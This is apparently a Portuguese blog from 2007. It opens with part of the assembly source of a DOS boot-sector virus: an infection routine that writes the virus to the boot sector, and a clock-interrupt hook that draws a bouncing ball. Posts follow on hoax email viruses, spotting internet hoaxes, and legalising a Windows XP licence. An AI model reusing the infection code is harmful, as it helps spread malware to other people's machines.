test si,1
jz l7e68
shl dx,cl
l7e68: or [bx+8000],dx
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
call esc_sector
mov ax,si
sub ax,2
mov bl,ds:7c0dh ; Numero de sectores por cluster
xor bh,bh
mul bx
add ax,ds:prim_dados
mov si,ax ; SI = sector a infectar
mov bx,0 ; Ler o sector de boot original
call ler_sector
mov bx,si
inc bx
call esc_sector ; ... e guarda'-lo depois do virus
infectar: mov bx,si
mov word ptr ds:sector,si
push cs
pop ax
sub ax,20 ; Escrever o resto do virus
mov es,ax
call esc_sector
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0 ; Escrever no sector de boot o virus
call esc_sector
ret
Contaminar endp
Semente dw ? ; Esta word serve para fins de
; temporizacao da bola a saltar
FAT_sector db 0 ; Diz qual e' o numero do sector que
; se esta' a percorrer quando se
; vasculha a FAT
Despoletar proc near ; Comecar a mostrar a bola no ecran
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
jnz desp_exit ; Sim ,sair
or byte ptr ds:estado,2 ; Nao , marcar activacao
mov ax,0
mov ds,ax
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
mov bx,ds:22
mov word ptr ds:20,offset int_8
mov ds:22,cs
push cs
pop ds ; E guardar a rotina anterior
mov word ptr ds:velho_8+8,ax
mov word ptr ds:velho_8+2,bx
desp_exit: ret
Despoletar endp
Int_8 proc near ; Rotina de atendimento ao interrupt
push ds ; provocado pelo relogio 18.2 vezes
push ax ; por segundo . Neste procedimento
push bx ; e' que se faz o movimento da bola
push cx ; pelo ecran
push dx
push cs
pop ds
mov ah,0f ; Ver qual o tipo de modo de video
int 10
mov bl,al
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
jz ler_cur ; os anteriores
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
dec ah ; de video
mov ds:colunas,ah ; Guardar o numero de colunas
mov ah,1
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
jnz e_CGA
dec ah
e_CGA: cmp bl,4 ; Ve se e' modo grafico
jnb e_grafico
dec ah
e_grafico: mov ds:muda_attr,ah
mov word ptr ds:coordenadas,0101
mov word ptr ds:direccao,0101
mov ah,3 ; Ler a posicao do cursor
int 10
push dx ; ... e guarda-la
mov dx,ds:coordenadas
jmp short limites
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
int 10
push dx ; ... e guarda-la
mov ah,2 ; Posicionar o cursor no sitio da bola
mov dx,ds:coordenadas
int 10
mov ax,ds:carat_attr
cmp byte ptr ds:muda_attr,1
jnz mudar_atr
mov ax,8307 ; Atributos e carater 7
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
mov cx,1
mov ah,9 ; Escrever a bola no ecran
int 10
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
cmp dh,0 ; ecran . Linha = 0 ?
jnz linha_1
xor ch,0ff ; Mudar direccao
inc ch
linha_1: cmp dh,18 ; Linha = 24 ?
jnz coluna_1
xor ch,0ff ; Mudar direccao
inc ch
coluna_1: cmp dl,0 ; Coluna = 0 ?
jnz coluna_2
xor cl,0ff ; Mudar direccao
inc cl
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
jnz esta_fixe
xor cl,0ff ; Mudar direccao
inc cl
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
jnz act_bola
mov ax,ds:carat_attr
and al,7
cmp al,3
jnz nao_e
xor ch,0ff
inc ch
nao_e: cmp al,5
jnz act_bola
xor cl,0ff
inc cl
act_bola: add dl,cl ; Actualizar as coordenadas da bola
add dh,ch
mov ds:direccao,cx
mov ds:coordenadas,dx
mov ah,2
int 10
mov ah,8 ; Ler carater para onde vai a bola
int 10
mov ds:carat_attr,ax
mov bl,ah
cmp byte ptr ds:muda_attr,1
jnz nao_muda
mov bl,83 ; Novo atributo
nao_muda: mov cx,1
mov ax,0907 ; Escrever a bola no ecran
int 10
pop dx
mov ah,2 ; Recolocar o cursor no posicao onde
int 10 ; estava antes de escrever a bola
pop dx
pop cx
pop bx
pop ax
pop ds
velho_8 equ $+1
jmpf 0:0
Int_8 endp
Carat_attr dw ? ; 7fcd
Coordenadas dw 0101 ; 7fcf
Direccao dw 0101 ; 7fd1
Muda_attr db 1 ; 7fd3
Modo_pag dw ? ; 7fd4
Colunas db ? ; 7fd6
; Os bytes que se seguem destinam-se a reservar espaco para o stack
Virus ENDS
END begin

quarta-feira, 26 de setembro de 2007

VÍRUS VERDADEIROS

Este são alguns dos mais terríveis vírus de e-mail.
BleBla
Bubbleboy
Bugbear
Davinia
Forgotten
KakWorm

VÍRUS FALSOS

Vírus falsos de computador

Copa do Mundo 2006 ¡ Invitation ¡ jdbgmgr.exe no Orkut ¡ An Internet Flower For You ¡ Anticristo ¡ Aprenda a amar ¡ BANCOC.VBS ¡ Bicho de 7 cabeças: o manicomium ¡ BUDDYLST.ZIP ¡ Cartão virtual para você ¡ Cat colonic ¡ Celcom & cellsaver.exe ¡ Chumbo grosso, aprenda a amar ¡ Coke.exe ¡ Dana, Jade, chumbo grosso, aprenda a amar ¡ Good Times ¡ Guerra do Iraque ¡ Jade, chumbo grosso, aprenda a amar ¡ JDBGMGR.EXE ¡ Kleneu66 ¡ http://www.quatrocantos.com/lendas/121_lord_in_utero.htm ¡ Macmebig ¡ Novas fotos de família ¡ Penpal greetings ¡ PERRIN.EXE Up-Grade Internet 2 ¡ Pokémon ¡ SULFNBK.EXE ¡ Te_amo_meu_rei ¡ Telefone celular digital ¡ Vida é Bela.pps ¡ Vírus nacionais ¡ WOBBLER California ¡ WTC survivor

Os Vírus citados acima são usados como engodo, eles podem levar você até uma página falsa de um determinado Anti-Virus, fazendo com que você na ânsia de se livrar deles, seja contaminado com outros virus e trojans já conhecidos.

O que fazer? Como identificar uma pulha?

Gevilacio Aguiar Coelho de Moura

Correntes
No caso das correntes, não há o que comentar: é lixo imediato. Agora, nas outras situações... (Clique aqui e veja um exemplar típico de corrente.)
O apelo final
Um dos indicadores mais fortes de que uma mensagem é uma pulha virtual é o apelo que vem ao final da mensagem pedindo para repassá-la ao maior número possível de pessoas. Esse pedido de disseminação (forward, encaminhar) é uma das características básicas de uma pulha. Afinal de contas, se ela não for passada adiante ela perde o sentido, perde a razão de ser.
A linguagem e os termos da mensagem
A linguagem usada é uma armadilha principalmente nas mensagens sobre falsos vírus e supostas descobertas científicas. Geralmente usam-se termos e expressões que, para o leigo, dão o esperado embasamento técnico e asseguram a credibilidade à história contada.
No suposto vírus Pokémon, por exemplo, menciona-se a síndrome de Czeegel. Como saber se isso existe de fato? Essa mesma pulha fala de "...uma piscagem randômica puxando o foco sem constituir um novo foco..." As palavras foco e randômica podem seduzir o incauto: piscagem randômica? Foco? Uma verificação mais acurada vai constatar que essa piscagem randômica não existe. Mas, quem vai se dar ao trabalho de pesquisar?
Na mensagem que fala dos perigos do desodorante antiperspirante há algumas expressões como "purgar toxinas" e "gânglios linfáticos". Elas podem impressionar.
Alguns termos e expressões chegam a criar comoção como no caso do monóxido de dihidrogênio, a água.
Verifique se os termos da mensagem estão mais para a razão ou para a emoção. Quer dizer, o texto é informativo ou apela para a persuasão? Documentos técnicos, como se espera que sejam os avisos de vírus, por exemplo, não contêm apelos à emoção.
O apelo à autoridade
As pulhas também costumam fazer um apelo à autoridade. O que é isso? É aquela forma de dar credibilidade a alguma coisa dizendo que pessoas ou entidades de reconhecida competência recomendaram ou afirmaram algo. É o magister dixit dos de linguagem mais empolada...:) O que não quer dizer que o apelo à autoridade seja uma coisa ruim em si, é bom lembrar.
O alerta de que uma inocente música, Aserehe (Ragatanga), cantada pelo grupo Rouge era um "mantra de forças satânicas" mencionava o padre Quevedo que daria respaldo às sandices contidas na mensagem. O padre Quevedo, um dos mais respeitados nomes em parapsicologia e paranormalidade no mundo, chegou a falar em "... contratar um advogado e processar [o autor da mensagem] por calúnia e difamação".
No caso do vírus do celular, o autor cita empresas respeitáveis como a Nokia, a Motorola e o site de notícias da CNN. Para muita gente, isso é o bastante para garantir a veracidade da história contada. Mas quem for conferir nos endereços indicados não vai encontrar nada sobre tal assunto. Nesses sites, não existem informações sobre esse suposto vírus.
Dan Sullivan e Terry Birk, pessoas inexistentes, dariam o respaldo às afirmações contidas na lenda do desodorante que dá câncer. Quem são eles? E quem é Katrina Scott, a autora do texto? O apelo à autoridade, nesses casos, remete a ninguém.
A confirmação da notícia pode ser feita visitando os links indicados na mensagem. Veja o que eles dizem. Não há links nem referências confiáveis? Então coloque a mensagem na lista das suspeitas e espere um tempo para confirmar o que ela diz. Mesmo após a confirmação, não há por que sair mandando a mensagem para listas de discussões e desconhecidos.
Uma das versões sobre a lenda da Urina de rato em lata de refrigerante, que circulou pela Internet em outubro de 2000, continha a assinatura de um pesquisador de um laboratório universitário. Por acaso, esse laboratório era da área de biociências e biotecnologia. Parece que isso aí bastou para dar a suposta credibilidade à lenda e o boato se espalhou rapidamente pelo Brasil.
O que ocorreu nesse caso foi o seguinte: o pesquisador recebeu a mensagem e a passou a um amigo. Ao passar a mensagem adiante, ele não se deu conta de que a mensagem levara consigo sua assinatura com a ficha completa dele: nome, telefones, fax, endereço, nomes da instituição e do laboratório. Daí se formou um grande embaraço para o pesquisador que teve de enviar declaração para a entidade representativa dos fabricantes de latas desmentindo a história. Segundo o jornal Folha de São Paulo (19 de novembro de 2000), o pesquisador recebeu mais de 900 telefonemas e uma ameaça velada de processo judicial.
Mas há muitos casos semelhantes de descuido com desdobramentos no mínimo inconvenientes.
Stephanie Baker, assistente de um pesquisador da Universidade de Illinois, recebeu uma mensagem atribuindo horrores aos absorventes íntimos. Ela encaminhou a mensagem para algumas pessoas e acrescentou, logo no início do texto, uma frase para expressar o seu descrédito: "Dá para acreditar nisso?".
Sem que ela se desse conta, o programa gerenciador de mensagens acrescentou a assinatura dela com a indicação de que ela era a assistente do tal pesquisador.
E a confusão se instalou. Mrs. Baker foi tida como autora da mensagem cujo conteúdo seria corroborado pelo pesquisador, e por extensão, pela Universidade de Michigan.
Em carta explicativa, como convém nesses casos, Stephanie Baker disse que:
1. o texto não era de sua autoria e ela desconhecia a sua origem;
2. ela não concordava com o seu conteúdo;
3. ela passara a mensagem para algumas pessoas e uma delas retirou a frase "Dá para acreditar nisso?" e a enviou para outras pessoas;
4. ela não sabia que o programa gerenciador de mensagens punha, automaticamente, alguns dados dela, do pesquisador e da universidade;
5. depois de algum tempo, a mensagem passara a circular com o nome dela associado a Donna Boisseau a quem ela não conhecia.
O pesquisador também teve de dar explicações dizendo que não tinha nada a ver com essa história dos supostos malefícios dos absorventes íntimos.
É uma confusão fácil de se criar e difícil de desfazer.
Em fevereiro/março de 2003, houve um caso envolvendo personagem do programa Big Brother Brasil - BBB-3.
T. viu no sáite Fórum Globo.com um texto dizendo que um dos integrantes do programa BBB-3 estava sendo processado por assassinato em Goiás. Ela copiou o texto e o enviou para alguns amigos. Daí para frente, foi como se a mensagem tivesse vida própria: ela rapidamente se espalhou pelo país.
Ameaça de processos e desmentidos se seguiram. Segundo os advogados do participante do BBB, o rapaz não possuía nenhum processo por assassinato. Ele respondia a 'apenas' dois processos por agressão.
A versão associando, indevidamente, o nome da pessoa ao boato, como se ela fosse o seu verdadeiro/a autor/a vai permanecer, na Internet, por um longo período. Muita gente vê o boato, mas não vê o desmentido.
A origem da mensagem
Se você receber uma mensagem de uma lista de amenidades como listas de piadas, de horóscopo ou de futebol alertando quanto a um vírus, então tenha cuidado: pode ser uma pulha. O que fazer? Faça uma visita a um site de fabricante de antivírus e confirme a existência desse vírus. Se quiser avisar os amigos da existência de um vírus real, indique também a fonte que confirma o tal vírus.
O texto da mensagem não é de autoria do próprio remetente? A autoria dela é desconhecida? Então tenha cuidado. Isso é um forte indicador de que tudo não passa de uma mentira.
Veja também se a mensagem veio de um desses serviços de e-mail gratuito. Eles são um refúgio bastante procurado por gente que pretende manter-se no anonimato.
No caso de informações sobre vírus, existem vários serviços especializados na divulgação, através de mensagens, dos novos vírus que surgem a cada dia. As mensagens com essas informações contêm link para o site responsável. Se você receber uma mensagem sobre vírus, vá até o site informado e confirme. Se não houver link para o site responsável, esqueça. Mande a mensagem pro lixo, a menos que você conheça o remetente e saiba que é pessoa confiável. De qualquer modo, essas empresas só enviam seus avisos (virus newsletters) a quem solicitou assinatura deles. Esses serviços também alertam para os falsos vírus.
Verifique, também, se o site indicado encontra-se num dos serviços de hospedagem gratuitas como Yahoo/Geocities, Xoom, Tripod/Lycos e Angelfire. Se a página estiver hospedada num deles, o mais provável é que seja pulha mesmo.
Mas o melhor é consultar a equipe de suporte do seu provedor. Geralmente esse pessoal é muito bem informado sobre vírus. Basta um simples telefonema ou uma mensagem.
A coerência
Analise os termos da mensagem e veja se há coerência. A mensagem que fala do xampu com Lauril Sulfato de Sódio, por exemplo, menciona estatísticas absurdas e de origem não definida. Como é possível que a probabilidade de contrair câncer tenha passado de 1 para 8.000 na década de 80 para 1 para 3 nos dias de hoje? No caso do Aspartame, como é possível que ele seja o agente causador de 92 diferentes males e continue a ser vendido livremente?
Contagem de mensagens encaminhadas
E as pulhas que falam numa contagem de mensagens enviadas adiante? Essas são uma armadilha facilmente evitável. Basta raciocinar um pouco. (Se você já caiu em alguma delas, faço um apelo: não force muito. Ninguém sabe as conseqüências...:}
Na lenda da Nokia, fala-se no envio de 10 e de 25 mensagens. Quem enviar 10 vezes ganha um modelo e quem enviar 25 vezes ganha outro modelo de celular. No caso da Ericsson são 20 as vítimas do spam. Pobre da Microsoft que exige 1.000 mensagens encaminhadas. (Talvez sejam essas exigências absurdas que vêm fazendo com que o valor de suas ações caiam :) E tem aquela do Adilsinho. Pobre Adilsinho! Seriam necessárias mais de onze milhões de mensagens...
No caso de Ana Claúdia, exigiam-se 10 mil mensagens.
Muito bem. Imagine que seja verdade. Fica a pergunta: como é que se vai fazer a contagem do número de mensagens que você, internauta muito esperto(a), passou pra frente? Qual a maneira de comunicar à generosa empresa que você já completou a sua quota de spam? Quem vai enumerá-las? Você mesmo? Então, se você é mesmo bastante esperto(a), nem precisa passar a mensagem para outra pessoa: passe-a pra você mesmo, uai! Depois é só apresentar-se à dona Anna Swelund e pedir o seu telefone celular.
Dona Anna Swelund não existe? No problem: os telefones também não existem. (Alguém por aí já disse por aí que não existe almoço grátis. Por que haveria telefones celulares grátis?)
Palavras e expressões muito freqüentes
Algumas palavras surgem com certa freqüência nas pulhas sobre falsos vírus, principalmente no campo de assunto e nas primeiras linhas da mensagem. São elas:
Virus Alert!
Urgente!
Atenção!
Se você receber uma mensagem ...
Não leia a mensagem
Não abra a mensagem...

No final, sempre vem o apelo característico:
Por favor, passe esta informação para amigos e família.
...é importante que essa informação SEJA PASSADA para TODOS: vizinhos, parentes, amigos, listas na Internet ao qual você pertence, enfim, qualquer lugar onde ela possa ser vista.
Re-enviem esta mensagem a todas as pessoas que puderem (sic)
Passe essa informação para seus amigos.
Assim que acabar de ler esse aviso, envie esta mensagem para máximo de pessoas que for possível
SUGERIMOS QUE CADA PESSOA QUE RECEBA ESTE ARTIGO O DIVULGUE PARA O MAIOR NÚMERO POSSÍVEL DE PESSOAS E ENTIDADES.

Letras maiúsculas e sinais de exclamação
A presença de muitas palavras, frases e até parágrafos escritos com letras maiúsculas são bons indicadores de que a mensagem é uma farsa. As letras maiúsculas pretendem dar ênfase a determinadas passagens e são elementos de persuasão do incauto. As boas normas de netiqueta não recomendam o uso de palavras e frases com letras maiúsculas, pois elas são equivalentes a falar tais palavras e frases em voz alta ou aos gritos. Coisa de gente mal educada ;)
Uma de nossas leitoras chama a atenção sobre esse ponto de vista que ela chama de radical: se está escrito com letras maiúsculas, então é suspeito. Ela lembrou que o teclado usado pode estar defeituoso e, por conta disso, só escrever com letras maiúsculas. É...
E acrescenta:
Quando envio uma instrução para alguém enfatizo o NÃO

Sem dúvida, essa é uma maneira de destacar uma palavra ou uma frase. Agora, enfatizar todo um texto é inadequado, pois o destaque deixa de existir.
Muitos sinais de exclamação (sinais de admiração! ) ao longo do texto também são bons indicadores de que se está diante de uma pulha.
Ambigüidades
De todas as lendas aqui analisadas nenhuma delas provocou maiores reações nos visitantes do que a lenda do microondas. Recebi várias mensagens a respeito dessa história e, pelo menos duas delas, bastante grosseiras.
Todas as pessoas afirmavam que já tinham ouvido falar sobre a reação da água aquecida no microondas. Isto é um fato inquestionável. Nenhuma delas, no entanto, afirmou conhecer a pessoa mencionada na mensagem nem haver presenciado o caso, o acidente descrito.
A ambigüidade, então, se apresenta da seguinte forma: uma parte do fato descrito, a possibilidade de a água superaquecer desigualmente e poder ocasionar um acidente é um fato comprovado. A outra parte, que envolveu "... meu filho de 26 anos... ", uma pessoa de carne e osso, essa pessoa supostamente acidentada jamais foi localizada. Nem no Brasil nem nos Estados Unidos, origem provável dessa lenda.
É a mesma coisa da lenda das seringas infectadas com AIDS. É verdadeira a possibilidade de uma pessoa ser infectada se nela for injetado sangue ou alguma coisa contaminada. É falso que tenha ocorrido algum caso de pessoa contaminada dessa forma no Metrô de São Paulo, num cinema do Rio ou no carnaval de Olinda. Não há por que dar crédito a essa história e sair mandando spam pelo mundo a fora.
Sobre esse caso da seringa infectada: em maio de 2002, houve casos de agressões contra mulheres em Porto Alegre, Rio Grande do Sul. Até o momento, agosto de 2002, não há comprovação de que as seringas estavam infectadas com o vírus da AIDS.
Então, uma coisa é a existência de uma mensagem de origem desconhecida fazendo referências imprecisas a fatos não registrados. Outra coisa muito diferente é a possibilidade de, por exemplo, água fervente provocar queimaduras. Ninguém duvida de que água quente possa queimar a pele e produzir ferimentos graves.
Falsos vírus
Ainda bem que eles não existem, porque os falsos vírus são terríveis na visão dos criadores das mensagens que os divulgam. Eles destroem tudo: o computador, o disco rígido, os dados.
Jamais um fabricante de antivírus foi capaz de descobrir uma ferramenta capaz de eliminar os falsos vírus anunciados. Isso é perfeitamente justificável, pois esses vírus jamais existiram mesmo...
Quando você receber uma mensagem falando horrores sobre um vírus dizendo que:
"não abra o arquivo sob nenhuma circunstância" (há quem diga "...sobre nenhuma circunstância" :-)
nenhum fabricante de antivírus conseguiu produzir uma vacina ou um programa capaz de neutralizá-lo;
a AOL, a IBM, a Symantec, a Microsoft, a CNN, o Jornal da Silibrina ou a Silibrina Software Inc. confirmou a periculosidade do tal vírus;
o vírus foi descoberto ontem ou na semana passada;
ele destrói o seu disco rígido
então tenha a certeza de que você está diante de um falso vírus. Na verdade, basta uma dessas frases ou algo parecido para você confirmar a mentira: o tal vírus não existe.
Faça, também, as seguintes perguntas ao receber uma mensagem anunciando um vírus:

O texto da mensagem é de autoria de quem a enviou para você? Se a mensagem não for de autoria do remetente, então é muito provável que ela conte uma mentira.
A mensagem tem um tom de histeria do tipo "IMPORTANTE!", "URGENTE!" ou "Passe esta mensagem adiante!"? Se uma dessas coisas estiver presente na mensagem, então tenha certeza de que é mais uma conversa fiada.
Existem frases com letras maiúsculas ou o texto é todo redigido com letras maiúsculas? Se existem muitas frases escritas com letras maiúsculas ou se toda a mensagem for redigida com letras maiúsculas, então é muito provável que a informação seja falsa.
A mensagem faz referência a uma data indeterminada como "ontem", "sábado", "nesta semana" ou na "semana passada"? Se a mensagem contiver uma dessas "datas", então é muito provável que seja mais uma lorota.
Se você não tiver a convicção de que o vírus existe ou não, a melhor maneira de tirar a dúvida é consultar o pessoal do suporte do seu provedor ou visitar os sítios de fabricantes de antivírus.
Mas lembre-se de uma coisa: alguém pode descrever um dos mais de 60 mil vírus reais usando uma linguagem inadequada, com letras maiúsculas, com muitos sinais de exclamações, pedir que se faça spam e, no final das contas, tratar-se de um vírus real.
De qualquer forma, um percentual bastante elevado das mensagens de aviso de vírus, não enviadas por empresas fabricantes de vírus, que circulam pela Internet são avisos de falsos vírus.
Lembre-se, também, que ao passar um aviso de falso vírus você está sendo co-responsável pela disseminação de uma notícia falsa e você pode ter a sua credibilidade comprometida.
Riscos à saúde e à segurança
São os casos das mensagens sobre o Aspartame, Lauril Sulfato de Sódio (LSS), urina em lata ou em garrafa de refrigerante, água quente no microondas, agulhas infectadas, seqüestros nas proximidades de construções, implosão de tubo de TV e outras coisas do gênero.
Quase todas elas trazem alguma recomendação, uma preocupação com a segurança ou com a saúde das pessoas. Às vezes fica difícil separar o que é falso do que é verdadeiro. Alguns conselhos são úteis. Outros, são grandes disparates. Como separar o falso do verdadeiro? Use o bom senso. Quando envolver questões de saúde, converse com o seu médico.
Vale lembrar que é bom ter cuidado ao passar por perto de construções. Ao passar longe de construções, também tenha cuidado. Seqüestros acontecem nos mais diversos lugares.
E mais:

Aspartame e Lauril Sulfil podem fazer mal à saúde? Sem dúvida, desde que usados em excesso ou sejam usados por pessoas sensíveis aos seus componentes.Garrafa ou lata suja pode causar mal à saúde? É claro que pode. O recipiente em que as latas e garrafas são postas para resfriar, por exemplo, pode estar contaminado, a água pode ser imprópria para o consumo.
O tubo de imagem do aparelho de TV e este monitor que está aqui na sua frente podem implodir? Teoricamente sim. Se você tiver conhecimento de algum caso desse tipo, por favor, conte pra mim para eu registrá-lo. (Um dia desses, eu estava numa oficina de manutenção de micros e vi um monitor com o vidro quebrado. Fiquei curioso, pois poderia ser um caso comprovado de implosão. Que nada! Fora uma explosão. Uma explosão de ciúmes da esposa do dono do micro. Ela deu uma martelada certeira bem no meio da tela do monitor.)
Agulha, vidro e arame infectados podem contaminar com AIDS e outras doenças? Sim. Ocorreram casos de contaminação no Metrô de São Paulo, num carnaval ou num cinema? Não há registros de tais ocorrências.

Lendas de cunho fundamentalista
Vez por outra, surgem história envolvendo citações de livros sagrados, pactos com demônios, supostas confirmações da Bíblia e outras coisa semelhantes. Nestes casos, vale lembrar a frase de Jonathan Swift: "É inútil tentar fazer uma pessoa abandonar pelo raciocínio aquilo que não adquiriu pela razão."
Mesmo assim, tentamos.

E pra finalizar...
Lembre-se de uma coisa: as pulhas virtuais foram criadas para pregar uma peça aos novatos e recém-chegados à Internet. Como a Internet vem crescendo a cada dia (bela e acaciana constatação!), todos os dias novos patos potenciais aparecem para serem empulhados (quase que escrevo empalhados). Portanto, fica difícil acabar com esse tipo de coisa de uma vez por todas. Acontece, às vezes, que o pato age de boa fé. Pensa estar prestando um grande serviço aos incautos e irresponsáveis, que segundo a sua (dele, o pato) abalizada opinião de internauta, são os outros.
Qual o tipo de pessoa que passa uma dessas mensagens adiante, um boato, um falso vírus, uma pulha virtual?

1. algumas pessoas passam a mensagem adiante porque é muito fácil e rápido fazer isso;
2. outras pessoas levam algum tempo para passar a mensagem adiante porque não manejam com desenvoltura esse instrumento que é o computador, mas ficam felizes da vida quando conseguem dar um "um furo" e avisar o mundo sobre a existência do falso vírus Good Times, por exemplo;
3. há quem se sinta o próprio "bom samaritano virtual", ou a sua versão feminina, a "boa samaritana virtual", ao mandar o pedido de ajuda para a inexistente Rachel Arlington;
4. há os espertos e espertas que pretendem ganhar um telefone celular da Nokia. Há quem prefira o da Ericsson, mas ninguém vai receber coisa nenhuma.
Há espertos, ingênuos, gente de bom coração que pretende ajudar os outros, gente que pretende se passar por bem informada, gente bem informada... É uma lista longa de tipos de pessoas, mas no final das contas é o seguinte: é muito fácil passar uma só mensagem para quatro ou cinco mil pessoas.
Ainda que apenas 1% acredite no que está escrito e passe o boato pra frente, a propagação é enorme.
Outra coisa: muitas dessas histórias já existiam antes da Internet e se propagavam através de correspondência convencional e, mais tarde, via fax. O fax e a correspondência enviada pelos correios dão bem mais trabalho do que usar o Eudora ou o Outlook Express para disseminar uma informação falsa ou verdadeira.
Tem mais: o fax se deteriora com o tempo em conseqüência da sujeira que se acumula ou por conta da perda da cor (em alguns modelos de fax). A correspondência fica esquecida numa pasta de amores esquecidos, por exemplo. Outras se perdem.
Na Internet, nada se perde, tudo se arquiva e, mais cedo ou mais tarde, o boato arquivado renasce com todo o vigor como se fosse coisa nova. E assim se reinicia o ciclo do boato do falso vírus, do pedido de ajuda para quem não precisa de ajuda porque não existe, da pessoa desaparecida que jamais desapareceu.
Descobertas científicas
Quanto às notícias sobre descobertas científicas ou eventos extraordinários, acredite se quiser, mas tenha cautela e verifique a procedência da mensagem. Faça uma análise crítica dela. Muitos jornais e revistas já caíram nessas pulhas.
O Boimate
Na edição de 23 de abril de 1983 a revista Veja publicou matéria sobre uma grande descoberta realizada por cientistas norte-americanos. Depois de muitos estudos, dizia a revista, eles conseguiram fazer uma composição entre os genes do tomate e do boi. Obtiveram um tomate com sabor semelhante a um filé ao molho de tomate.
Na semana seguinte, a revista publicou o desmentido. Veja mais sobre o boimate em O caso boimate.
Em novembro de 1999, o Jornal do Commercio do Recife publicou a história do outdoor lunático. Em março de 2000, esse mesmo jornal publicou, com destaque, a "notícia" do vírus do celular. Em ambos os casos, se o jornal se desse ao trabalho de confirmar as notícias na própria web, não teria caído nessas pulhas. Na história do vírus de celular seria bem mais fácil, pois as fontes citadas pelo próprio jornal - CNN, Motorola e Nokia - nada continham a respeito desse tal "vírus de celular".
Em meados de 2000, o jornal O Estado de São Paulo publicou o poema La marioneta, a falsa despedida de García Márquez. Dias depois, reconheceu o erro e publicou o desmentido.

Finalmente: qualquer que seja o conteúdo de uma mensagem, qualquer que seja o apelo, não saia por aí encaminhando para o mundo todo as mensagens que tiver recebido. Esse tipo de comportamento, denominado de spam, é altamente condenável. Ao fazer o spam, você está
contribuindo para a disseminação de uma notícia falsa ou
incentivando uma ação ilegal;
ocupando os canais de tráfego da Internet com coisa imprestável e
poluindo o ciberespaço.
Alguns provedores de serviços da Internet chegam a cancelar a conta de pessoas que adotam essa prática reprovável.
Só um detalhe a mais: o pato é quem dá seguimento à pulha. O filho da pulha :)
Conclusão: ao ler uma mensagem ou qualquer outra coisa - livro, jornal, revista, página da web - faça uma análise crítica do conteúdo dela. Veja se as afirmações são coerentes e se o acontecimento descrito é plausível. Verifique se a história apresenta algum fundamento, preste atenção aos detalhes. Procure outras fontes, confronte opiniões diferentes e tire as suas próprias conclusões. Em caso de dúvida, aguarde um pouco mais.

terça-feira, 25 de setembro de 2007

REGULARIZAÇÃO DE LICENÇA DO WINDOWS XP

Antonio Vilhena - 31/8/2007

Outro dia estive conversando com um conhecido, que estava se preparando para fazer upgrade de algumas coisas no micro, para que ele aproveitasse e contabilizasse também o gasto com uma licença oficial do Windows para o micro dele, o que infelizmente muitos continuam a utilizar cópias não oficiais. Como o papo rendeu um bom tempo e várias conversas, achei interessante colocar aqui para outros que também estejam na mesma situação.

Deixando de lado a parte "legal", "ética" e "moral", mostrei para ele que por um valor, não muito alto comparado com o micro, ele teria diversas vantagens e inúmeros problemas a menos a enfrentar no futuro, pois além de contar com suporte oficial da Microsoft para qualquer problema, você poderá realizar a atualização do Windows sem risco, tendo a certeza que ele será atualizado automaticamente para o ultimo nível e com isto tendo mais segurança, além de poder ter acesso a várias ofertas específicas que só são ativadas para quem realiza a validação do Windows (algumas ofertas podem mudar):

Internet Explorer versão 7 -> Bem melhor que o IE 6, possui diversos aprimoramentos de uso (navegação por abas, etc.), além de ser mais rápido e seguro
Windows Media Player 11 -> Visualizador de vídeo, tocador de mp3, etc. Diversos recursos adicionais ao MP10.
Windows Defender -> Ferramenta de rastreamento on-line de trojans e códigos maliciosos... download e atualização gratuita
EZ Antivirus -> programa anti-virus da Computer Associates por 12 meses... download e atualização gratuita durante este período
Cursos Online grátis
Temas especiais para seu desktop
Proteção de tela especiais (em 3D do Hans Donner)
Além destes programas em especial, diversos utilitários da Microsoft atualmente só estão sendo colocados disponíveis para quem tem Windows Original como o Windows SteadyState (interessante para quem compartilha micro com mais de 1 pessoa), etc. Além disto, você poderá inclusive baixar algumas ferramentas e ofertas que não estejam em português mas que são também bem interessantes... é só dar uma passeada na área específica do Windows Original: http://www.microsoft.com/genuine/About.aspx?displaylang=pt-br

Vale lembrar que cedo ou tarde você terá que migrar para o Windows Vista, e nesta hora, também é interessante você já estar com seu sistema rodando 100% correto.

Bom, até aí tudo bem, mas como comprar um Windows Original... é muito caro... Para este ponto, existem alguma opções bem interessantes que você pode escolher de forma a pesar menos o seu bolso:

LICENCIAMENTO: Normalmente os produtos da Microsoft são encontrados em 5 modalidades de licenciamento:

Completo Varejo (ou retail): que é o Windows que você compra numa loja, com caixinha, etc.
Atualização Varejo (ou upgrade retail): que é o Windows em caixinha, comprado em loja;
Completo Educacional: é o Windows idêntico ao completo, porém com venda específica para alunos e professores
OEM: é o Windows completo, porém sem caixa, sem manual, que é vendido por algum integrador de hardware EM CONJUNTO com o hardware (você pode por exemplo comprá-lo junto com uma memória, disco, ou placa mãe, ou qualquer outro componente do micro)
Licenciamento por volume: específico para empresas, também sem caixa, sem manual, onde a empresa contrata um número específico de licenças.
O Windows XP Home OEM na data de hoje (agosto/2007), está custando entre R$ 200 a R$ 300, ou seja, bem interessante comparado com um custo de R$ 500 ou mais por uma licença completa. Vale ressaltar que não há NENHUMA diferença no Windows entre o OEM e o RETAIL (ou varejo), o produto é o mesmo, apenas o método de venda e a "apresentação" do produto na prateleira é diferente.

Na imagem abaixo temos uma versão OEM. Além do CD, que acompanha, o importante é o número de série que vem impresso na etiqueta (ficaria aí embaixo na "tarja preta"):


















REGULARIZAÇÃO DE LICENÇA DO WINDOWS XP


Vamos ao processo de como alterar o número de série do seu Windows para colocar uma cópia original.

Primeiro, crie um ponto de restauração do seu sistema, e verifique se está com seu backup em dia.

Depois vá na página: http://www.microsoft.com/genuine/selfhelp/PkuInstructions.aspx?displaylang=pt-br marque a caixa da afirmativa: "Estou ciente de que esta ferramenta enviará as informações acima para a Microsoft.", e com isto irá ativar a opção de download da ferramenta de troca de número de série: "KeyUpdateTool_pob.exe"

Após o download, chame o aplicativo, e clique em EXECUTAR:












Coloque o número de série que se encontra na sua cópia original que você comprou:













Após isto o aplicativo fará a validação e pedirá para você reiniciar o micro.













